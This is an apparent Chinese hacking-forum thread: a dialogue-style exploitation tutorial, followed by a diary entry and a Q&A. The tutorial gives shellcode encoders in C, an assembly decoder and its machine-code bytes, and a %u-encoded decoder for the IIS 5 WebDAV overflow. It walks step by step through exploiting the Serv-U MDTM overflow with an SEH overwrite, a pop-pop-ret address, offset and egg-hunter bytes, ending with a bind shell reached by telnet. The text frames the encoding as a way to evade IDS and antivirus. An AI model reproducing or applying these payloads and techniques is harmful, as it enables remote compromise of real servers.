  “编码的方法很多,从上面几种方法就可看出。只要满足算法‘F’和逆算法‘F’’,都可用于ShellCode编码变换,如下图。”

ShellCode变形编码大法 QQ截图20151228113226.png


  “哦!那只要有好的算法和符合编码限制的实现,都可用于ShellCode的编码。”宇强说。


  老师喝了一口水,然后说道:“对,这里再讲一个重要的方法一字符拆分法。”


  “字符拆分法?什么意思?”


  “字符拆分法就是把ShellCode的每个字符拆分成几个其他字符(当然,拆成的字符要符合编码规范), 解码的时候,把字符再合起来,恢复成原来的ShellCode。”


  “听起来蛮有意思的!实现起来难吗?”同学们问道。
  “明白了思路就不难,我们一起来看看吧!”

  方法一、Z=A+B
  “第一种字符拆分法,是把ShellCode的每个字符‘Z’拆分成几个数字的和。比如拆成两个,即Z=A+B。 如 0x77,就可拆成 0x77 = 0x01+0x76 = 0x02 + 0x75 =······=0x38 + 0x39。”

  老师歇了口气继续说:“因为和的组合方式有很多种(如0x77就有56种组合),而我们只选一种出来, 所以我们可以避免大量的ASCII字符。这样,除了 decode外,可以有多种变形,对一些IDS或杀毒软件都有一定效果。”

  “编码算法AddCMD.cpp可像如下用C语言实现。”

[mw_shl_code=c,true]#include<stdio.h>
unsigned char ShellCode[] =
"\xF3\x78\xFE";
unsigned char BadChar[] = //不符合要求的字符
"\x00\xFF\x01";
int main()
{
unsigned char a,b;
unsigned char z;
int i, j, nLen, BadLen;
bool bSuccess;
nLen = sizeof(ShellCode) - 1; //ShellCode长度
BadLen = sizeof(BadChar) - 1; //不符合要求字符的长度
bSuccess = true;
for(i=0; i<nLen; i++)
{
z = ShellCode; //取当前要拆分的字符
for(a=1; a<127; a++)
{
if(z < a) //z比a还小,拆分失败,结束
{
bSuccess = false;
printf("Failed!");
break;
}
b = z - a; //否则z 拆分成a+b
for(j=0; j<BadLen; j++) //判断a和b是否符合要求
{
if(a==BadChar[j] || b==BadChar[j]) //a或b不符合要求
break;
}
if(j>=BadLen) //a、b都符合要求,打印出来
{
printf("\\x%x\\x%x",a,b);
break; //当前z拆分成功,拆分下一个
}
else
; //a或b不符合要求,j就会<BadLen;就要改变a,继续尝试
}
if(!bSuccess) //某个字符拆分失败,拆分以失败告终
{
break;
}
}
if(bSuccess)
printf("\nSucceess!\n");
return 0;
}[/mw_shl_code]

  “思路很清晰,但程序似乎不大好懂啊……”大家说道。

  “好,我来解释一下。‘z = ShellCode’取要拆分的字符;‘for(a=1; a〈127; a++) ’是依次尝试a 的值;通过z和a,就得到b为b = z-a;然后我们判断a和b是否符合要求,如果符合要求,就把a和b打印出来,继续拆分下一个字符;如果不合要求,‘if(a==BadChar[j] || b==BadChar[j]) ’就要改变a 和b的值,重新拆分判断。”

  “哦,这样啊!全部拆分成功就表示成功了?”

  “对!我们测试一下,假设不能含有00、FE和01,ShellCode为‘\xF3\x78\xFF’,拆分的效果就如图。”

ShellCode变形编码大法 QQ截图20151228113237.png


  “哦! F3 = 2 + F1; 78 = 2 + 76; FF=2 + FD。果然生成符合要求的enShellCode 了! ”大家嚷道。

  “嗯,那我们的解码就是每次取两个数,加起来复原? ”玉波说道。

  “对,解码的汇编代码如下:”

[mw_shl_code=c,true]__asm
{
lea eax,decode;
call eax
}
__asm
{
jmp decode_end //为了获得enShellCode的地址
decode_start:
pop ebx //得到enShellCode的开始位置 esp -> ebx
xor ecx,ecx
mov cx,0x101 //要解码的 enShellCode长度
xor esi,esi //esi=0
xor edi,edi //edi=0
decode_loop:
mov ah,[ebx+esi]
add ah,[ebx+esi+1]
mov [ebx+edi],ah //0+1放在0位中,2+3放在1位中......
inc edi //edi每次加1
inc esi
inc esi //esi每次加2
loop decode_loop
jmp decode_ok //解码完毕后,跳到解码后的地方执行!
decode_end:
call decode_start
decode_ok: //后面接编码后的enShellCode
}[/mw_shl_code]

   “懂得了思路就比较容易理解了。依次取第0位到ah中,然后和第1位相加,得到的和存在第0位中;再 取第2位和第3位相加,存在第1位中。这样就完成了解码。”

  “最后,把解码的汇编提取成机器码形式的decode。如下:”

[mw_shl_code=c,true]decode[] =
"\xEB\x1C\x5B\x33\xC9\x66\xB9\x01\x01"
"\x33\xF6\x33\xFF\x8A\x24\x33\x02\x64"
"\x33\x01\x88\x24\x3B\x47\x46\x46\xE2"
"\xF1\xEB\x05\xE8\xDF\xFF\xFF\xFF"[/mw_shl_code]

  “有了编码和解码的代码,大家下来就可自己测试了。还是先用编码程序把ShellCode编码,得到 enShellCode,再把decode放在前面,得到完整的程序后执行,看看最终效果。”

  测试!还是成功了!
  “不错,不错,这种思路很巧妙!”大家感叹道。

  “还是那句话,没有十全十美的方法。这种方法的缺点是:较小的数拆分的方式较少,像0x07这样的数, 就有可能无法找到符合条件的组合。”

  “当然,decode代码中仍有可能含有不合要求的字符,在这种情况下就需要采用微调的方法改变,如果微调也无效,那就可能需要换算法了。”

  方法二、0xAB=0xA*0x10+0xB
  宇强对小倩说:“有了和的拆分法,我认为也可以有乘积的拆分法。”
  果然,老师说道:“还有第二种字符拆分法,就是把ShellCode的每个字符拆分成两个数的乘积。比如0xAB 拆分成 0xA 和 0xB,恢复时是 0xAB=0xA*0x10+0xB。”

  “哦!你还行嘛! ”小倩转头看了看宇强。
  “呵呵,是啊!”宇强高兴的说,“小时候我把聪明存了起来,所以我现在悟性高嘛!”

  “什么啊,给你点阳光就灿烂! ”小倩撅着嘴说。
  ......

   老师在台上说,“对于这种方法的使用,我们看一个实际的漏洞——WebDav漏洞。“

实 际 运 用——WebDav 漏 洞 编 写



  “WebDav溢出漏洞是IIS漏洞的一种,要利用它有一定的难度!”

  “哦,比较难啊?难在什么地方呢?”

  “呵呵,我们一起往下走就知道了。虽然比较困难,但搞清楚之后对大家的思路扩展是很有好处的!

  “哦!好Yeah! ”

  小知识:
  IIS5默认提供了对WebDAV的支持,通过WebDAV,可以利用HTTP向用户提供远程文件存储的服务。IIS 5. 0 包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。

  IIS 5.0的WebDAV使用了 ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞,通过对WebDAV的畸形请求可以触发这个溢出。成功利用这个漏洞可以获得LocalSystem权限。这意味着入侵者可获得主机的完全控制能力。

  “这个漏洞还是很有用的吧!而且在Win2000 SP3中也有这个漏洞哦!”


  “这个漏洞产生的机理相当复杂。我简单的说吧!发出如下请求时,IIS就会把‘buffer’加上几个字节 的路径,作拷贝操作。”

SEARCH /[buffer] HTTP/1.0
Host:xxx
Content-Type: text/xml
Content-length: 3
xxx

  “在拷贝中没有作边界检查?所以溢出?”同学们问道。
  “不,在拷贝前是作了检查的!而且很严格,用变量Length保存长度,如果Length超过了 8,那就不作拷贝! ”


  “哦?那怎么引发溢出的呢?”
  “呵呵,这就是此漏洞的第一个奇妙之处。虽然程序先计算出长度,保存在Length中,但Length是无符号短整数类型,只能存65535。但是,我们的‘buffer’可以超过65535的限制,那Length就无法容纳, 就会溢出。例如当路径长度是65536,那么,Length就变成0 了,拷贝前的判断就为真,从而可以拷贝了。在拷贝时,‘buffer’实际是65536那么长,当然溢出了!”

  “哦!的确很奇妙啊!”


  “这个溢出从本质上说是一个短整型数溢出,而后导致了堆栈溢出。这一点是值得研究的。”


  “嗯! ”大家都点点头。


  “好,我们继续。Bufer超过65535时就会溢出,拷贝时就会引发异常。我们用覆盖异常处理点的方法, 用经典三步骤写出Exploit的雏形吧!”

  “第一步:异常处理点的位置。在Buffer第266的位置左右,这里要注意,是左右哦!”

  “第二步:ShellCode。现在可以用现成的,也可以用我们自己写的。就加个帐户吧!”

  “第三步:Jmp /call ebx的地址——先用0x7FFA1571试试。” “等一下,”古风急了,“为什么在266位置左右呢?不能精确吗?”

  “这就是此漏洞的第二个奇妙之处。刚才说过,IIS会把‘buffer’加上几个字节的路径后作拷贝。但那 个路径会因为机器不同、安装目录不同而引发长度不一样,所以不能统一。比如,我的IIS安装在 C:\inetpub\wwwroot下,那Buffer要长度正好是269才能到达异常处理点。”

  “真是越来越麻烦了!”


  “的确,但这都是小问题,实际中改变长度多试几次就可以了。真正的考验还在后面呢!”

  “哇! ”大家都吓住了。

  “大家要获得技术的突破,一定要有耐心和毅力,不要怕,我们继续!”

  “不用担心,大家一定可以解决的! ”老师努力给大家打气。

  “嗯!我们一定要把它解决! ”大家都气势如宏,“我们写出Exploit的初步构造吧!如下图。”

ShellCode变形编码大法 QQ截图20151228113249.png


  “但应该没这么简单,还有其他玄机吧?”同学们都望着老师。


  “呵呵!不急,我们一步步的来。回想一下以前讲的IDA/IDQ漏洞,我们作了什么处理?”

  “对哈! IIS会作变换成宽字节的处理! ”同学们叫了起来,“我们应该加上‘%u’防止被扩展变化!” “我们先把JMP 04、JMP EBX地址和ShellCode都加上‘%u’试试。”

  “好哩!”古风把‘%u’加了上去,这是他的强项!

  “0K,运行一下试试!”

  编译、执行,毫无反应。

  “果然没那么简单。”古风自言自语道。

  “嗯,这个漏洞和IDA/IDQ不同,IDA/IDQ发现‘%u’标志后,就不对后面的字节进行Unicode转换;而 Webdav是‘%u’也要作Unicode转换,但过后要转换回单字节。”

  “小于0x80单字节字符转换时会被转换成‘\xXX\x00’的形式,然后又被转换回‘XX’,可以不变;但大 于0x80的,系统会认为后面还有一个字节的字符,与这个字符一起组成一个完整宽‘字符’来作转换。比如,‘\x61\x81\x81’会被转换为‘\x61\x00\xXX\xXX’ ;如果不合编码规范,转回来时,就变成 ‘\x61\xXX\xXX’,而不是原来的\x61\x81\x81’ 了。”

   “所以问题就在于转换。小于0x80的会符合要求;但大于0x80、不符合编码范围的就会被替换掉!转换完毕后,当然就不是我们想要的字符串啦!”

  “哇!这样啊!”

  “这就是该漏洞的第三个奇妙之处。大家想想怎么办?”老师又开始让同学们开动脑筋了。

  “如果不符合编码范围,会被改变;那我们把JMP 04, JMP EBX的地址和Shellcode都使用符合编码范围 的字符吧! ”宇强思考后说。

  “嗯!很好!思路就是这样,我们使用符合编码范围的字符。这样,‘\xXX’在转换成宽字节后,就变为 ‘\xXX\x00’ 了;再被转换回来,就又成了‘\xXX’,不会被改变。”

  “但大家想想,JMP 04,JMP EBX的地址符合规范比较容易,Shellcode也可用前面的方法(比如替换法) 进行编码,但要decode全部都符合编码要求实在是太困难了。”

  “难啊!难于上青天啊! ”大家感叹道,“那怎么办啊?”
  “这里,我给大家再介绍一位前辈级的人物一yuange!他提出的解决办法如下:”

  1. 把real shellcode编码成小于0x80的字符。这样,在经过转换后就成为‘\xXX\x00’ 了,字符不会被改变。
  2.再精心编写一段符合编码范围的代码,用这些代码来解码上述经过编码的real shellcode!

  “哦? ”

  “yange提出的具体算法就是:编码时把shellcode的字符0xXY变成0x0X和0x0Y,这样一定可以符合小 于0x80要求;而在解码中,用0xa*0x10+0xb=0xab的算法来恢复。”

  “而解码的代码是yuange精心打造的,全部符合简体中文编码范围要求的CPU指令。大家看看吧!”

"%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f"
"%u66ad%u4e3d%u7400%u9023%u612c%u5090%u6659%u90ad"
"%u612c%u548d%u7088%u548d%u908a%u548d%u708a%u548d"
"%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3"
"%u6099";

  “哇!太强了! ”大家都面带钦佩之色。

  “是啊,yuange这样的人才算得上真正的黑客啊!技术高超,而且无私共享。”

  “嗯!向yuange学习!向yuange致敬! ”大家发出由衷的呐喊。 老师笑道:“下面我们把Exploit完成吧!我们先把ShellCode用yuange的算法进行编码,实现的算法就是:”

[mw_shl_code=c,true]unsigned char ShellCode[] =
"\x81\xF4\xE2";
unsigned char enShellCode[200];
int main()
{
int i,nLen;
unsigned char temp;
nLen = sizeof(ShellCode)-1; //ShellCode长度
for(i=0;i<nLen;i++)
{
temp=ShellCode;
enShellCode[2*i] = temp/0x10;
enShellCode[2*i+1] = temp%0x10; //把0xab拆分为0xa、0xb并保存
 }
}[/mw_shl_code]

  “把ShellCode编码成符合要求的EnShellcode后;在EnShellCode前放上解码代码DeCode,功能是把 EnShellCode解码还原成真正的ShellCode,并跳过去执行!格式如下图! ”

ShellCode变形编码大法 QQ截图20151228113257.png


  “注意,我们还要把JMP EBX地址用符合规范的0x695c6772代替,JMP 04用0x58685159来代替!这样就全部符合编码的规范了!”

  “哇!还真不容易。”大家擦擦汗。


  “呵呵!这是写溢出时常用的技巧。我们看看成果吧!”

  编译、执行!成功了!

  “哦!”大家都欢呼了起来,经过无数的困难下取得的成功是最甜美的。

  “看来大家都很有兴趣,那我们继续向困难挑战,讨论更困难情况下的处理办法——内存搜索法。”

内 存 搜 索 法



  “我们掌握了这么多种编码方法,可以避免很多刁钻的字符限制了,为什么我们还要学习内存搜索法呢? 玉波又问道。


  “学无止境,学海无涯! ”老师简单的回了一句。


  “但更重要的是,上面讲的那些方法都只是考虑如何在ShellCode中避开一定的特殊字符;但现实中有一些漏洞远远没那么简单。”

搜 索 的 原 因——长 度 限 制



  老师说:“比如一些漏洞,对ShellCode的长度也有一定的限制。”
  “长度也有限制?啊?”大家都懵了,“像拆分法那样变换肯定行不通了,越拆越长!”

  “对!这就是真正麻烦的地方。”老师说道,“遇到长度有限制的漏洞时一般有两种解决思路。”

  “一种方法是找比较短的ShellCode,但可能比较困难,功能也有限;”老师说道,“另一种方法就是: 只做一个短的搜索ShellCode的代码,真正的ShellCode放在内存的其他地方,这是我们着重讲的部分。”

  “哦? ”

  “溢出后直接运行的是搜索ShellCode的代码,其功能是在内存中查找真正的ShellCode,查找到后就跳过去执行。”

  “因为搜索代码一般可以很短,所以能满足长度限制的要求。”

  “搜索代码? ”同学们觉得又有新知识可学了,“如何完成搜索的呢?”

  “一般说来,搜索从某个接近ShellCode的地址开始,依次查找,当找到某个预定标志的时候,就说明找 到了我们的ShellCode。”

搜 索 的 原 理——查 找 标 志



  “我们用图来理解一下。在内存中,‘A’表示垃圾字符;‘Ret’表示JMP ESP或者JMP 04 Call EBX, 反正功能是要跳转到后面的Search中;然后‘F’为标志,最后是‘ShellCode’。Search功能就是要进 入到原来的ShellCode中,原始的发送和目标程序处理截断后的数据如下图。”

ShellCode变形编码大法 QQ截图20151228133419.png

  “在上图中,‘A’和‘A’’无所谓,只是起填充作用;‘Ret’和‘Search’ 一定要符合规范,不能被改变;‘F’和‘F’’ 一定要不一样,如果一样,就无法区分原始ShellCode和截断后的数据位置;而‘ShellCode’和‘ShellCode’’是不一样的,如果一样,我们就不用花这么大的力气去写一个符合规范 的Search和跳转了。”

  “好,我们看看Search的代码该如何写。假设标志‘F’为丽08,即0x773037,而且从esp开始搜索,则搜索的汇编代码如下:”

[mw_shl_code=c,true]__asm
{
mov ebx, esp //从esp开始搜索
mov eax, 0x77773037; //eax = ww07
inc eax //刚才是ww07,加1变成ww08,免得搜索成自己
loop1:
inc ebx
cmp [ebx],eax //比较是否是ww08
jne loop1
inc ebx
inc ebx
inc ebx
inc ebx
call ebx //找到ww08标志,跳过去执行
}[/mw_shl_code]

  “大家注意啊!先是把eax赋成ww07,然后eax加1,才得到ww08。这是为了避免搜索成search代码自己。”

  “是啊!如果是直接mov eax, 0x77773038 ,搜索经过这里会被认为是标志的! ”宇强说道。

  “非常正确!我们清楚原理了,来看一个实际的漏洞吧——漏洞。”

搜 索 实 例——Serv_U 漏 洞 的 利 用



  “Serv_U是常见的Windows下架设FTP服务的软件,非常好用,功能也很强大。”老师说,“很多的电影、 音乐服务器都是用Serv—U来架设的。”

  “哦?它有漏洞可以利用吗?”台下流出了一瘫瘫的口水。

  “当然有!不然我就没有讲的了,失业啦!”

  台下全倒……

利 用 Ollydbg 定 位 溢 出 点



  “首先,我们还是看看漏洞的公告和原因,如下图。”老师说道。

ShellCode变形编码大法 QQ截图20151228113312.png


  “漏洞公告上说Serv_U在处理MDTM命令时有溢出漏洞,MDTM是什么命令啊?”同学们问道。

  “Serv_U是FTP的服务器,当然遵守FTP协议的规范,但也有自己的一些独特命令和功能。”

  “任何FTP服务器都是这样的。而MDTM命令是关于文件时间的命令,它可查看文件的时间,如MDTM /ww0830.txt,也可修改文件的时间,如 quote mdtm 20020102112233+123 /ww0830.txt。”

  “当用MDTM命令修改文件的时间时,如果参数过长,就会引发标准的堆栈溢出!”

  “我们先来引发一下这个漏洞,我们登陆Serv_U的服务器,先输入用户名和密码,注意,该漏洞没有权限的帐号都可以利用。这里是用匿名登陆的。”

  “然后输入MDTM命令和超长参数,敲回车,如果对方有漏洞,服务器就会挂掉。如下图。

ShellCode变形编码大法 QQ截图20151228113326.png


  “果然服务挂了啊!真想不到,看起来不起眼的参数小漏洞,都有可能造成系统被攻破啊! ”台下说道。
  “千里之堤,毁于蚁巢,就是这个道理。”老师接着说,“我们来利用它吧!首先是定位溢出点。”

  “但这里没有弹出出错对话框啊!怎么用对话框的方法定位呢?”

  小知识:Ollydbg
  OllyDbg是一个32位汇编级的直观分析调试器。是个非常好的动态跟踪调试工具,和TRW、S0FTICE相比, 没有工作在核心态,可边调试边进行其他应用程序工作,比如听歌、查资料。界面非常人性化,调试方便, 可以随意加注释、复制、跟踪堆栈的变化。还有强大的右键功能,使用起来特别方便。

  “对于这种漏洞,我们就要用调试利器Ollydbg 了! ”老师说道,“重新启动Serv_U,运行Ollydbg,并附加到Serv_U的进程。方法是在Ollydbg的‘File’菜单下选中‘Attach’,如下图”

ShellCode变形编码大法 QQ截图20151228113334.png


  “然后在弹出的进程对话框中选中‘ServUDaemon’,并点中‘Attach’。这样,Ollydbg就加载了 Serv_U 进程,如下图。”

ShellCode变形编码大法 QQ截图20151228113341.png


  “加载后Serv_U会被暂停,我们按F9让Serv_U继续运行起来。”老师一步步的演示起来。

  “好,我们再登陆,输入MDTM命令和超长的参数。Serv_U又挂掉了,但Ollydbg截获了出现的异常,在状态栏上显示了 Access violation when reading [34343435],如下图。”

ShellCode变形编码大法 QQ截图20151228113348.png


  哦!是0x34343435地址不可读! ”大家说道。

  “对,0x34343435是我们输入的过长参数。它把Serv_U程序要用的变量覆盖了,当然会有异常了。”

   “哦?引发了异常?莫非我们用覆盖溢出处理点的方法利用? ”宇强问道。

  “是啊! ”老师说道,“更进一步,我们用Ollybug定位异常处理点吧!按Shft+F9进入异常处理,嗯? 又报错了,[34343434]不能执行。如下图。”

ShellCode变形编码大法 QQ截图20151228113356.png


  “哦! 0x34就是十进制的4,也是我们输入的参数,”同学们说道,“看来我们可以控制这里要执行的 0x34343434 哦!”


  “对!其实这里的0x34343434就是异常处理入口点。”老师说道。


  “哦?那ebx应该是指向它前方的数了? ”大家想起前面讲过的覆盖异常处理点的方法,如下图。

ShellCode变形编码大法 QQ截图20151228113403.png


  “异常处理程序的入口是0x34343434,那么ebx应该是指向0x33333333?”宇强说了这句话后,大家仔细看了看Ollydbg的寄存器窗口。

  “啊? ebx怎么是0啊?”大家都很吃惊,“这怎么定位啊?”

  “在Windows 2000下作异常处理时,ebx的确是在异常处理程序入口的前方;”老师说道,“但在XP下, ebx会变为0,我们就要用另一种方法定位了。”

XP 下 SEH 的 利 用



  “好,我们看看,本来ebx应该指向0x33333333,我们CALL EBX就可跳到0x33333333那句指令。但在XP 下这招不行,要用另一种方法了。”

  “哦?什么方法呢?”

  “呵呵,系统总要知道指向下一个异常处理点的位置嘛!大家仔细找找看,寄存器或寄存器内存附近有什 么指令指向0x33333333?”

  大家仔细的找了起来。

“哦! esp + 8的值为0x0101D2DC,而0x0101D2DC存的正好是我们的0x33333333,如下图。”眼尖的小倩说道。


ShellCode变形编码大法 QQ截图20151228113414.png


  “是啊! ”其他人也欢呼道,“原来是堆栈中存着地址啊,而且是栈顶+8的地方。那XP下可以用这个地方来定位了!”

  “是的!这就是XP下利用异常处理点的方法。”老师说道,“我们把CALL EBX指令的地址改成pop pop ret 指令的地址;当执行pop pop ret后,就会到异常处理点程序入口点前方的位置,我们把那儿覆盖成JMP 04, 就可跳到后面的ShellCode 了。如下图。”

ShellCode变形编码大法 QQ截图20151228113420.png


  “好了,无用字符应该填充多少个呢? ”老师问道。


  “刚才我们定位时,输入的参数是11112222到0000的不断循环,Ollydby里显示的出错位置是第二个3333 和4444,所以我们可以算出12X4 = 48,加号要占一个字符,所以应该是MDTM命令加号后再填充47个字 符到达异常处理点。”宇强分析道。

  “漂亮! Perfect! ”老师表扬道,我们利用的示意图就应该如下图。

ShellCode变形编码大法 QQ截图20151228113426.png


  “pop pop ret指令在Windows下通用的地址是0x7FFA1571; JMP 04的指令是EB 04。”老师最后说道, “ShellCode我们就随便使用一个现成的,或我们自己写的就行,所以,具体构造应该如下图。”

ShellCode变形编码大法 QQ截图20151228113431.png


  “好啊!我们快试试吧! ”同学们急切的说,“先填充字符,再JMP 04,然后是0x7FFA1571,最后是我们 的ShellCode,就开一个远程端口吧!运行!”

  过了一会玉波说道:“哎哟,Serv_U是挂掉了,但端口没有开起来。”

  “啊?这是怎么回事呢? ”大家不解的问,“就是按照要求构造的啊?”

  “呵呵!那是因为我们的ShellCode太长,被截断了!”

跨 过 长 度 限 制——搜 索



  “这个漏洞和以往的那些漏洞不同的地方在时区里,有长度的限制,超过了 294字节就会被截断,当然完不成我们想要的功能了。”老师对着台下的同学们说。

  “哦? 294个字节?太短了吧?”


  “是啊,我们写的ShellCode都要有1000字节!”


  “那怎么办呢? ”大家想啊想,“可以换一个短的,但294个字节也太短了。”

  “莫非?放入我们的搜索代码? ”宇强说。

  “对!我们在有长度限制的时区中放入我们短小的搜索代码,而把ShellCode放在后面的那个文件名中!” “我们获得控制权后就先执行搜索代码,它在内存中搜索ww08标志,搜索到后,才跳过去执行真正的 ShellCode。” 大家明白了。

  “非常正确,其利用格式如下图。”

ShellCode变形编码大法 QQ截图20151228113437.png


  “而第一部分时区放入我们的搜索ShellCode,功能只是在内存中找标志,找到后跳过去执行。其构造如下图。”

ShellCode变形编码大法 QQ截图20151228113442.png


  “第二部分文件名放入查找标志和真正的ShellCode,其构造如下图。

ShellCode变形编码大法 QQ截图20151228113448.png


  ”我们就按照这样的思路来利用吧!搜索ww08标志的汇编前面讲过,如下:

[mw_shl_code=c,true]__asm
{
mov ebx, esp //从esp开始搜索
mov eax, 0x77773037; //eax = ww07
inc eax //刚才是ww07,加1变成ww08,免得搜索成自己
loop1:
inc ebx
cmp [ebx],eax //比较是否为ww08
jne loop1
inc ebx
inc ebx
inc ebx
inc ebx
call ebx //找到ww08标志,跳过去执行
}[/mw_shl_code]

  “在VC中嵌入汇编,然后调试提取,得到搜索代码的ShellCode 。“

[mw_shl_code=c,true]char search[] =
"\x8B\xDC\xB8\x37\x30\x77\x77\x40\x43\x39\x03\x75\xFB\x43\x43\x43"
"\x43\xFF\xD3"[/mw_shl_code]

  “够短吧!我们把原来构造程序的ShellCode换成这个搜索ShellCode的search。”

  “然后在真正ShellCode的前方加入我们的标志‘ww08’,放在空格后的文件名第二部分,这样就完成了我们的构造,得到了程序ServUtest.cpp 。”

  “好咧!我们测试一下吧! ”同学们急切的说,“我们把精心构造的代码发送过去,对方Serv_U挂掉,但成功执行了我们的ShellCode,打开了端口,如下图。”

ShellCode变形编码大法 QQ截图20151228113458.png


  “telnet对方的8111端口,成功的登陆上了对方!”同学们高兴的说道。

  “好,到这里,我们稍微总结一下,温故而知新嘛! ”老师说道,“一般的ShellCode都由两部分构成, 前面一段是DecodeCode,后面一段是编码后的ShellCode。”

  “第一段的存在是因为第二段如果不经过编码,可能含有大量的0x00,从而导致在字符串处理时被截断。 而编码的方法就是我们今天着重介绍的内容。”

  “还有些时候,溢出会对长度有限制,这时要么找一个较短的ShellCode完成功能,要么避开长度的限制, 做一个简单的搜索代码,而把真正的ShellCode放到其他地方,就像刚才的MDTM漏洞一样。”

  大家在台下认真的记着笔记。

  “呵呵!好了,”老师说道,“下午有微软研究院的学术活动一计算与你同行,现在就下课吧!大家早点吃饭,去见见高手吧!”


小执念 古黑浩劫论坛大牛 2015-12-28 14:00 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
宇强日记之四: 11月11曰晴

今天有幸参加了微软亚洲研究院举办的“计算与你同行”大型学术研讨会。见识了一个个高手,充分认识 到了自己的差距。

吃过午饭,我和古风、玉波、小倩一行去乘车地点一体育馆。因为会场在电子科大,主办方为了方便各校的参与,派出了专车进行接送。好多人啊!虽然有几十辆大BUS,但我们登上车时,已经没有位置了, 看来微软的吸引力就是大啊!

不一会儿,车队就出发了。奇怪的是,本来可从一环路直接到目的地,结果先从西门出发,绕到东门,又绕回西门,然后走二环路!当终于进入科大校门时,我们都非常疲惫了,特别是小倩,脸都青了,好心痛啊!

不过天气还算清朗,微风习习,周全的组织和热情的欢迎将我们的倦怠一扫而光,转而是热切的期待。 开幕式过后,令人振奋的演讲开始。首先是Rick Rashid和Chuck Thacker的“插上计算的翅膀”和“21 世纪的计算机”。虽然他们讲得很慢,但还是只能借助同声翻译器才能完全明白意义,我深深感到:“要想取得成绩,英语一定要打好基础!这样才能无障碍的阅读世界上最先进的科技文献,与世界科技的发展作无缝连接!”

接下来是亚洲微软研究院的院长和前院长的演讲。

现任院长沈向洋,13岁就进入大学,30岁成为亚洲微软研究院的院长!

而前院长张亚勤,12岁就读大学,38岁成为IEEE百年历史以来最年轻的院士!

自古英雄出少年!

当沈向洋展示数字笔时,大家都情不自禁的鼓起掌来。

而我在想:随着时间的推移,我和他们取得成就的年龄会越来越短,当有一天我到他们那个年龄时,会有什么成绩?又会是一个什么样的人呢?

但我不会以他们为目标来奋斗,如果那样,那最多能到达他们的水平就不错,而且多半不能达到。

我要不断与自己竞争,努力超越自我,这样才能在自身水平上取得不断进步!

回来的路上,我不禁感概万千!小学6年真的浪费了不少时间啊!感觉上1年就够了。

古风也说道:“是啊,不过我觉得初中更浪费时间。”

玉波也说:“唉!就是啊,我觉得小学、中学、大学都是浪费时间啊,如果我8岁就下海,去倒卖馒头, 现在都是亿万富翁了。”

大家都笑了起来。

也许天赋是与生俱来的,机遇更是不能强求。但我应该潜心打好基础,随时做好准备,才能在机会到来之时,拥有把握住机会的实力!

车不需要知道自已未来的路通到哪里去,驾驶员知道。但世界上会有人知道自己人生的路会通向哪里吗? 所以我能做的,就是把握住每一个机会!


课后解惑

Q: ShellCode中的0x00为什么要去掉?
A:论坛上见过多次的经典问题,已经作了详细讲解。这里再说一遍,在C语言中,字符串是以0x00为结束标志,所以如果目标程序是以strcpy等函数来作字符串拷贝导致溢出的,则到达ShellCode中的0x00 时,就会认为是字符串结束,从而停止拷贝,导致ShellCode被截断,完不成想要的功能。

Q:为什么有“0x000x98”这样的ShellCode存在呢?
A:那是Unicode,Unicode是两个字节表示一个字符。

Q:文本中的0和16进制中的0x00有什么区别呢?
A:当然不一样了,0x00就是16进制的0x00;而文本中的0对应的16进制是0x30。有个方法可以帮助大家理解,0x00是不可见的字符,在文本文件里是看不可见的;而文本中的0,当然是可见的,所以自然和 不可见的0x00有区别了。

Q:怎么去掉ShellCode中的0x00呢?
A:我已经详细讲解过了。总体思路就用编码方法,将原ShellCode变成enShellCode;然后把解码代码放 在enShellCode前面;如果还有特殊字符,就需要再进行微调。

Q:发现直接替换法是把小于0x1F的字符都作了替换处理;但decode本身还有小于0x1F的字符呢?
A:这是故意留给大家的一个小问题!分析一下decode代码里会出现小于0x1F字符的原因吧,然后想办法避开它们(提示:微调法)。

Q:除了课上讲的几种编码变换方法,还有其他的方法吗?
A:当然有了。比如,我们还可异或几个字节的Key,比如取Key为0x123456,这样来避免单字节Key的不足;也可动态使用随机的Key,以进一步躲避IDS。编码的算法你还可以进一步研究,想出新的算法。

Q:怎样才能构思出编码的新算法呢?
A: —、基础要好;二、要有发散性的思维!

Q:怎样牢固知识基础,提高编程能力呢?
A:如果是大学生,多参加ACM/ICPC吧!然后经过努力,通过选拔,进入ACM/ICPC的学校集训队。和优秀的人在一起才能更优秀。

Q: XP和Win2000相比,除了 SEH的处理机制不同外,还有那些对溢出利用来说比较重要的改变呢?
A: —些特殊的程序,Win2000下可直接把地址覆盖成ShellCode的地址,从而直接跳转过去利用;而XP 不允许执行栈中的代码。所以利用时,要覆盖写入另一个跳转地址,再返回栈中。课堂上对堆栈溢出利用 的所有讲解,都是使用的这种方法,所以对Win2000和XP都适用。

Q:使用搜索法时,如果搜索的标志恰好在内存中有重复的值,会导致搜索失败吗?
A:如果内存中正好有重复的标志值,当然有可能失败。如果那个标志很简单,比如用一个0x90909090, 就很有可能找到其他地方去;但如果用一个奇怪的数据(如你的名字),那多半没有重复,可以正确的定位。

Q:还有其他需要编码的程序可以实际利用吗?
A:很多啊! Serv_U漏洞、Cmail漏洞、Cproxy漏洞等,自己根据漏洞公告,用已学的知识实际利用一下 吧!
暮色里的白雪檐 「出类拔萃」 2017-9-12 11:53 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

顶起出售广告位
清川带长薄 「出类拔萃」 2018-5-7 14:45 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

怀揣两块,胸怀500万!
耀眼的阳光 「出类拔萃」 2018-5-9 09:33 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后,才发这现里的字全是都乱的。#375:
您需要登录后才可以回帖 登录 | 注册账号  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2020-9-27 13:47 , Processed in 0.070389 second(s), 22 queries , Redis On.

© 2015-2020 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表